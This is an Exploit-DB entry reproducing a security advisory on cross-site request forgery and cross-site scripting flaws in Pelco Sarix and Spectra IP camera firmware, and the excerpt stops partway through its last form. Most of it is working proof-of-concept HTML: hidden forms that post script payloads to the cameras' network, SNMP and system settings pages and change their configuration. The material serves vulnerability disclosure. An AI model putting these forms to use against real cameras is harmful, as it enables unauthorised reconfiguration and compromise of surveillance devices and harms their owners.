Exploit-DB #42307
Description: Pelco Sarix/Spectra Cameras - Cross-Site Request Forgery / Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2017-07-10
Author: LiquidWorm

Exploit:
Schneider Electric Pelco Sarix/Spectra Cameras Multiple XSS Vulnerabilities


Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0)
                  Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0)
                  Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722)
                  Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503)
                  Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)

Summary: Pelco offers the broadest selection of IP cameras designed
for security surveillance in a wide variety of commercial and industrial
settings. From our industry-leading fixed and high-speed IP cameras to
panoramic, thermal imaging, explosionproof and more, we offer a camera
for any environment, any lighting condition and any application.
When nothing but the best will do. Sarix™ Enhanced Range cameras
provide the most robust feature-set for your mission-critical applications.
With SureVision™ 3.0, Sarix Enhanced delivers the best possible image
in difficult lighting conditions such as a combination of bright areas,
shaded areas, and intense light. Designed with superior reliability,
fault tolerance, and processing speed, these rugged fixed IP cameras
ensure you always get the video that you need.

Desc: Pelco cameras suffer from multiple dom-based, stored and reflected
XSS vulnerabilities when input passed via several parameters to several
scripts is not properly sanitized before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a
user's browser session in context of an affected site.

Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown
           MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)
           Lighttpd/1.4.28
           PHP/5.3.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5415
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5415.php


07.04.2017

--


CSRF/XSS on username parameter:
-------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/setup/network/dot1x/update" method="POST">
      <input type="hidden" name="dot1x" value="on" />
      <input type="hidden" name="protocol" value="EAP&#45;TLS" />
      <input type="hidden" name="inner&#95;auth" value="CHAP" />
      <input type="hidden" name="username" value='"><script>alert(1)</script>' />
      <input type="hidden" name="password" value="blah" />
      <input type="hidden" name="anonymous&#95;id" value="&#13;" />
      <input type="hidden" name="ca&#95;certificate" value="test" />
      <input type="hidden" name="client&#95;certificate" value="test" />
      <input type="hidden" name="private&#95;key" value="test" />
      <input type="hidden" name="private&#95;key&#95;password" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


CSRF/XSS on gateway, hostname, ip_address, nameservers, http_port, rtsp_port and subnet_mask parameter:
-------------------------------------------------------------------------------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/setup/network/general/update" method="POST">
      <input type="hidden" name="hostname" value='"><script>alert(2)</script>' />
      <input type="hidden" name="http&#95;port" value='"><script>alert(3)</script>' />
      <input type="hidden" name="rtsp&#95;port" value='"><script>alert(4)</script>' />
      <input type="hidden" name="dhcp" value="off" />
      <input type="hidden" name="ip&#95;address" value='"><script>alert(5)</script>' />
      <input type="hidden" name="subnet&#95;mask" value='"><script>alert(6)</script>' />
      <input type="hidden" name="gateway" value='"><script>alert(7)</script>' />
      <input type="hidden" name="nameservers" value='"><script>alert(8)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


CSRF/XSS on version parameter:
------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/setup/network/snmp/update" method="POST">
      <input type="hidden" name="version" value='";alert(9)//' />
      <input type="hidden" name="v2&#95;community&#95;string" value="public" />
      <input type="hidden" name="v2&#95;receiver&#95;address" value="" />
      <input type="hidden" name="v2&#95;trap&#95;community&#95;string" value="trapbratce" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


CSRF/XSS on device_name, ntp_server, region, smtp_server and zone parameter:
----------------------------------------------------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/setup/system/general/update" method="POST">
      <input type="hidden" name="device&#95;name" value='ZSL"><script>alert(10)</script>' />
      <input type="hidden" name="enable&#95;leds" value="on" />
      <input type="hidden" name="smtp&#95;server" value='"><script>alert(11)</script>' />
      <input type="hidden" name="ntp&#95;server&#95;from&#95;dhcp" value="false" />
      <input type="hidden" name="ntp&#95;server" value="';alert(12)//'" />
      <input type="hidden" name="region" value="Macedonia';alert(13)//" />
      <input type="hidden" name="zone" value="Kumanovo';alert(14)//" />
      <input type="hidden" name="enable&#95;time&#95;overlay" value="on" />
      <input type="hidden" name="enable&#95;name&#95;overlay" value="off" />
      <input type="hidden" name=